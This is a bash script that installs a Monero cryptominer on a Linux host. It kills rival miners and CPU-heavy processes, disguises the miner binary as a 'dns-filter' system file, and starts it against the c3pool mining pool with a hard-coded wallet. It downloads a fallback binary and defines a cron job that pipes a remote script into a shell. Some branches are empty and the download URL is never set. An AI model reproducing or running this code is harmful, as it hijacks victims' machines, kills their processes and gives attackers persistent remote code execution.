#!/bin/bash
for file in /tmp/usr/lib/systemdev/dns-filter /usr/lib/systemdev/dns-filter /usr/lib/dev/systemdev/dns-filter; do
if [ -f "$file" ]; then
rm -f "$file"
fi
done
CUSTOM_ARG="${1:-x}"
if systemctl is-active --quiet systemd_s; then
systemctl stop systemd_s
fi
external_ip=$(wget -qO- ipv4.icanhazip.com 2>/dev/null || curl -s ipv4.icanhazip.com 2>/dev/null)
IDOFPC=$(echo "$external_ip" | sed 's/\./-/g' | cut -c -6)
kill_unwanted() {
if command -v pkill >/dev/null 2>&1; then
pkill -f "index.js"
pkill "xmr"
elif command -v pgrep >/dev/null 2>&1; then
pgrep -f "index.js" | xargs -r kill
pgrep -x "xmr" | xargs -r kill
else
ps aux | grep '[x]mr' | awk '{print $2}' | xargs -r kill
ps aux | grep -w '[i]ndex.js' | awk '{print $2}' | xargs -r kill
fi
if command -v pgrep >/dev/null 2>&1; then
pgrep "index.js" | grep -v "^$$$" | xargs -r kill
else
ps aux | grep -w '[i]ndex.js' | awk -v mypid=$$ '$2 != mypid {print $2}' | xargs -r kill
fi
}
kill_unwanted
kill_high_cpu_processes() {
local threshold=150.0
local exclude_patterns=("pattern2reserve333" "goAwgBCFH")
local pid cpu cmdline
ps -eo pid,%cpu --sort=-%cpu | awk -v threshold="$threshold" \
'NR>1 && $2 > threshold {print $1}' | while read -r pid; do
# Read full command line (even if truncated in `ps`)
if [ -f "/proc/$pid/cmdline" ]; then
cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline")
else
echo "PID $pid died before inspection"
continue
fi
# Check for exclusion patterns in full cmdline
for pattern in "${exclude_patterns[@]}"; do
if [[ "$cmdline" == *"$pattern"* ]]; then
echo "Excluding PID $pid (matched '$pattern')"
continue 2
fi
done
if kill -9 "$pid" 2>/dev/null; then
echo "Killed PID $pid (CPU: $(ps -p "$pid" -o %cpu --no-headers)%)"
else
echo "Failed to kill PID $pid (already dead or permission denied)"
fi
done
}
delete_systemd_mon_file() {
if [ "$(id -u)" -eq 0 ]; then
file_path="/usr/lib/systemdev/dns-filter"
else
file_path="/tmp/usr/lib/systemdev/dns-filter"
fi
if [ -e "$file_path" ]; then
rm "$file_path"
echo "File deleted: $file_path"
else
echo "File does not exist: $file_path"
fi
}
if [ "$(id -u)" -eq 0 ]; then
HOME_1='/usr/lib/dev'
user_type="root"
if ! command -v cron &>/dev/null; then
echo "Installing cron for root user..."
if command -v apt-get &>/dev/null; then
apt-get update && apt-get install -y cron
elif command -v yum &>/dev/null; then
yum install -y cronie
else
echo "no cronieL"
fi
fi
else
HOME_1='/tmp/usr/lib'
user_type="user"
fi
mkdir -p "$HOME_1/systemdev"
program_file="$HOME_1/systemdev/dns-filter"
run_program() {
local executable="$program_file"
local fallback_executable="/tmp/dns"
launch_program() {
nohup "$@" >/dev/null 2>&1 &
local pid=$!
sleep 0.5
if ! ps -p "$pid" >/dev/null 2>&1; then
return 1
fi
sleep 4.5
ps -p "$pid" >/dev/null 2>&1
}
download_fallback() {
rm -f "$fallback_executable"
if command -v curl >/dev/null 2>&1; then
curl -k -fL -o "$fallback_executable" "$download_url" || return 1
elif command -v wget >/dev/null 2>&1; then
wget -qO "$fallback_executable" "$download_url" || return 1
else
echo "No download tool available" >&2
return 1
fi
chmod +x "$fallback_executable"
}
echo "Starting primary program..."
if [ -x "$executable" ]; then
if launch_program "$executable" -o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH -p $CUSTOM_ARG ; then
echo "Primary program running (PID $!)"
return 0
else
echo "Primary program crashed immediately"
fi
else
echo "Primary program not found/executable"
fi
echo "Attempting fallback..."
if download_fallback && launch_program "$fallback_executable" -o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH -p $CUSTOM_ARG ; then
echo "Fallback program running (PID $!)"
else
echo "Warning: All startup attempts failed - continuing script anyway"
fi
return 0
}
if [ -e "$program_file" ]; then
echo "Program file already exists at: $program_file"
run_program
pkill -f "systemd-t"
else
if command -v wget &> /dev/null; then
elif command -v curl &> /dev/null; then
else
echo "Error: Neither wget nor curl is available. Please install one of them."
exit 1
fi
# Extract the tarball and move the program file
#tar -xf "$HOME_1/systemdev/yes.tar.xz" -C "$HOME_1/systemdev"
mv "$HOME_1/systemdev/yes.tar.xz" "$program_file"
rm -rf "$HOME_1/systemdev/xmrig"
chmod +x "$HOME_1/systemdev/dns-filter"
if [ -x "$program_file" ]; then
echo "Program file downloaded and installed at: $program_file"
run_program
else
echo "Error: File not found or not executable at $program_file."
external_ip=$(curl -s ifconfig.me)
echo "Use for VPS: ($external_ip) - $user_type"
fi
fi
create_cronjob() {
local cron_command
if command -v curl >/dev/null; then
cron_command="/bin/sh -c 'curl -fsSLk $1 | tr -d '\''\r'\'' | /bin/sh'"
elif command -v wget >/dev/null; then
cron_command="/bin/sh -c 'wget -qO- $1 | tr -d '\''\r'\'' | /bin/sh'"
else
log "Error: Cannot create cron job, neither curl nor wget is available."
return 1
fi
(crontab -l 2>/dev/null | grep -vF "$1"; echo "*/75 * * * * $cron_command") | crontab -
log "Cron job successfully configured."
}
rm -f /tmp/mon.sh
rm -f /tmp/run.sh